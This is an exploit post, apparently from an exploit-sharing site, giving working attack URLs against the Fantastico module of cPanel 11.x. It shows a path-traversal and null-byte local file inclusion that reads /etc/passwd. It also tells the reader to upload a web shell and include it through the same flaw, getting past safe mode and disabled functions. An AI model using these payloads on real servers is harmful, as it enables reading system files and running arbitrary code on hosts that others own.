cPanel 11.x Fantastico LFI Vulnerability and Security Bypass

  cPanel 11.x Fantastico LFI Exploit Vulnerability Security Bypass

_________________________________
#[+]Version.: cPanel 11.x
#[+]Author   : ahwak2000
#[+]Home   : 1337day.com
#[+] Date      : 11.08.2011
#[+] E-mail   :  z.u5[at]hotmail.com
#[+]Tested On : win xp sp3
_________________________________

After you log in the cPanel


[-] LFI eXploit:



http://site.com:2082/frontend/x3/fantastico/user_language.php?language_value=../../../../../../etc/passwd%00ahwak2000&Update=Salva
_________________________________



[-] Security Bypass eXploit:



Upload your shell by "File Manager"



Then Go To:



http://site.com:2082/frontend/x3/fantastico/user_language.php?language_value=../../../../../../home/user/public_html/shell.php%00ahwak2000&Update=Salva


You will find  : SafeMode= OFF , Disable_function : None , ModSecurity =
Off 


_________________________________
_________________________________


#  0day.today [2018-04-03]  #